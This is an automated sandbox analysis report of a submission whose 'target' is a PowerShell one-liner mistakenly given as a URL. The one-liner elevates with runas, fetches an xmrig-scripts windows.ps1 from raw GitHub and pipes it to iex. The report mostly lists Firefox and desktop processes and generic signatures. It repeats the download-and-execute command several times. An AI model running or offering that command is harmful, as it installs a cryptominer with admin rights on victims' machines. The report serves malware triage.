Analysis

  • max time kernel
    598s
  • max time network
    458s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    16-07-2024 06:34

General

  • Target

    http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
6/10

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/firefox
    firefox -new-tab "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
      PID:1392
      • /usr/bin/which
        which /usr/bin/firefox
        2⤵
          PID:1393
      • /usr/lib/firefox/firefox
        /usr/lib/firefox/firefox -new-tab "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
        1⤵
        • Checks CPU configuration
        • Reads CPU attributes
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1392
        • /usr/local/sbin/dbus-launch
          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
          2⤵
            PID:1436
          • /usr/local/bin/dbus-launch
            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
            2⤵
              PID:1436
            • /usr/sbin/dbus-launch
              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
              2⤵
                PID:1436
              • /usr/bin/dbus-launch
                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                2⤵
                  PID:1436
                  • /usr/bin/dbus-daemon
                    /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
                    3⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1438
                    • /usr/libexec/xdg-desktop-portal
                      /usr/libexec/xdg-desktop-portal
                      4⤵
                        PID:1479
                      • /usr/libexec/xdg-document-portal
                        /usr/libexec/xdg-document-portal
                        4⤵
                        • Reads runtime system information
                        PID:1485
                      • /usr/libexec/xdg-permission-store
                        /usr/libexec/xdg-permission-store
                        4⤵
                        • Reads runtime system information
                        PID:1489
                      • /usr/libexec/xdg-desktop-portal-gtk
                        /usr/libexec/xdg-desktop-portal-gtk
                        4⤵
                        • Reads runtime system information
                        PID:1500
                      • /usr/libexec/gvfsd
                        /usr/libexec/gvfsd
                        4⤵
                        • Reads runtime system information
                        PID:1511
                        • /usr/libexec/gvfsd-trash
                          /usr/libexec/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0
                          5⤵
                            PID:1538
                        • /usr/libexec/dconf-service
                          /usr/libexec/dconf-service
                          4⤵
                          • Reads runtime system information
                          PID:1529
                        • /usr/bin/nautilus
                          /usr/bin/nautilus --gapplication-service
                          4⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1534
                        • /usr/bin/gnome-keyring-daemon
                          /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                          4⤵
                          • Reads runtime system information
                          PID:2341
                        • /usr/libexec/gvfs-udisks2-volume-monitor
                          /usr/libexec/gvfs-udisks2-volume-monitor
                          4⤵
                          • Reads runtime system information
                          PID:2352
                        • /usr/libexec/gvfs-afc-volume-monitor
                          /usr/libexec/gvfs-afc-volume-monitor
                          4⤵
                          • Reads runtime system information
                          PID:2358
                        • /usr/libexec/gvfs-mtp-volume-monitor
                          /usr/libexec/gvfs-mtp-volume-monitor
                          4⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:2365
                        • /usr/libexec/gvfs-gphoto2-volume-monitor
                          /usr/libexec/gvfs-gphoto2-volume-monitor
                          4⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:2370
                        • /usr/libexec/gvfs-goa-volume-monitor
                          /usr/libexec/gvfs-goa-volume-monitor
                          4⤵
                            PID:2375
                          • /usr/libexec/goa-daemon
                            /usr/libexec/goa-daemon
                            4⤵
                            • Reads runtime system information
                            PID:2379
                          • /usr/libexec/goa-identity-service
                            /usr/libexec/goa-identity-service
                            4⤵
                              PID:2399
                        • /usr/lib/firefox/glxtest
                          /usr/lib/firefox/glxtest -f 13
                          2⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1443
                        • /usr/bin/lsb_release
                          /usr/bin/lsb_release -idrc
                          2⤵
                            PID:1455
                          • /usr/local/sbin/dbus-launch
                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                            2⤵
                              PID:1465
                            • /usr/local/bin/dbus-launch
                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                              2⤵
                                PID:1465
                              • /usr/sbin/dbus-launch
                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                2⤵
                                  PID:1465
                                • /usr/bin/dbus-launch
                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                  2⤵
                                    PID:1465
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20597 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{007eb136-5142-46ec-a876-726f1a508ee3}" 1392 true socket
                                    2⤵
                                    • Reads CPU attributes
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:1477
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27868 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{e223ef73-9dd1-40f1-badd-ce67e6052865}" 1392 true tab
                                    2⤵
                                    • Reads CPU attributes
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:1566
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 28648 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{989d3df8-f5a5-47a7-ae21-cc8e22acfcd7}" 1392 true utility
                                    2⤵
                                    • Reads CPU attributes
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:1601
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{64f1eda6-dab5-47e3-8a43-5d1cbbf17e79}" 1392 true tab
                                    2⤵
                                    • Reads CPU attributes
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:1607
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{95e2acab-4909-45c3-9328-cff9cad3e23f}" 1392 true tab
                                    2⤵
                                    • Reads CPU attributes
                                    • Reads runtime system information
                                    PID:1610
                                  • /usr/lib/firefox/firefox
                                    /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{663fd5ee-59bd-441f-b67c-3f1d31aa105a}" 1392 true tab
                                    2⤵
                                    • Reads CPU attributes
                                    • Enumerates kernel/hardware configuration
                                    PID:1614
                                • /usr/libexec/gvfsd-fuse
                                  /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                  1⤵
                                  • Reads runtime system information
                                  PID:1516

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads